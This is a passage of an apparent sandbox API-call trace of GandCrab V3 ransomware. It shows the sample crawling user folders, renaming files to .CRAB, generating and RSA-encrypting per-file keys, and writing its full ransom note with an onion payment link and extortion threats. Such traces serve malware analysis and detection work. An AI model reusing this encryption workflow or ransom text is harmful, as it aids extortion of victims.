	[0112.059] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.082] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.082] CloseHandle (hObject=0x3f8) returned 1
	[0112.083] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.084] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.084] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.084] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.084] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.085] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.085] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.085] lstrcmpW (lpString1="Templates.LNK", lpString2=".") returned 1
	[0112.085] lstrcmpW (lpString1="Templates.LNK", lpString2="..") returned 1
	[0112.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK"
	[0112.085] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.085] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75
	[0112.085] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75
	[0112.085] lstrlenW (lpString=".LNK") returned 4
	[0112.085] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.086] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LNK ") returned 5
	[0112.086] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75
	[0112.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 75
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="desktop.ini") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="autorun.inf") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="ntuser.dat") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="iconcache.db") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="bootsect.bak") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="boot.ini") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="ntuser.dat.log") returned 1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="thumbs.db") returned -1
	[0112.086] lstrcmpiW (lpString1="Templates.LNK", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.086] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.086] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB") returned 80
	[0112.086] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk")) returned 0x20
	[0112.087] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", dwFileAttributes=0x20) returned 1
	[0112.087] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk.crab")) returned 1
	[0112.088] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.088] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB"
	[0112.088] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB.CRAB"
	[0112.088] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0112.089] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.089] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.089] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.090] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.090] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.090] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0112.090] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.091] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.091] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.091] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.091] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.091] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.091] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.092] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0112.092] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda76b0) returned 1
	[0112.092] CryptGetKeyParam (in: hKey=0xda76b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.092] CryptEncrypt (in: hKey=0xda76b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.092] GetLastError () returned 0x0
	[0112.092] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0112.093] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.093] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7630) returned 1
	[0112.093] CryptGetKeyParam (in: hKey=0xda7630, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.093] CryptEncrypt (in: hKey=0xda7630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.094] GetLastError () returned 0x0
	[0112.094] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.094] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.095] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.095] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x4a7, lpOverlapped=0x0) returned 1
	[0112.120] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.121] VirtualAlloc (lpAddress=0x0, dwSize=0x4b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.121] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.121] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffb59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.121] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x4b0, lpOverlapped=0x0) returned 1
	[0112.121] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.121] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.124] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.124] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.124] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.124] CloseHandle (hObject=0x3f8) returned 1
	[0112.125] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.125] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.126] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.126] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.126] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.126] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0112.126] FindClose (in: hFindFile=0xda78b0 | out: hFindFile=0xda78b0) returned 1
	[0112.126] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.126] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.127] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.127] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1
	[0112.127] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1
	[0112.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote"
	[0112.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\"
	[0112.127] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.127] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.127] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.127] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.127] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.127] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.127] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.127] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\CRAB-DECRYPT.txt") returned 73
	[0112.127] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.128] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.128] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.129] CloseHandle (hObject=0x3f0) returned 1
	[0112.129] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.129] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\") returned 56
	[0112.129] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*"
	[0112.129] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.129] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.130] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.130] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.130] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.130] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.130] lstrcmpW (lpString1="16.0", lpString2=".") returned 1
	[0112.130] lstrcmpW (lpString1="16.0", lpString2="..") returned 1
	[0112.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\", lpString2="16.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0"
	[0112.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\"
	[0112.130] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.130] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.130] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.130] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.130] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.130] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.130] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.130] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.131] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\CRAB-DECRYPT.txt") returned 78
	[0112.131] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\onenote\\16.0\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.131] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.131] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0112.132] CloseHandle (hObject=0x3f4) returned 1
	[0112.132] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.132] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\") returned 61
	[0112.132] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*"
	[0112.132] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda78f0
	[0112.132] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.132] FindNextFileW (in: hFindFile=0xda78f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.132] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.132] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.132] FindNextFileW (in: hFindFile=0xda78f0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.132] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.132] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.132] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote\\16.0\\CRAB-DECRYPT.txt"
	[0112.132] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
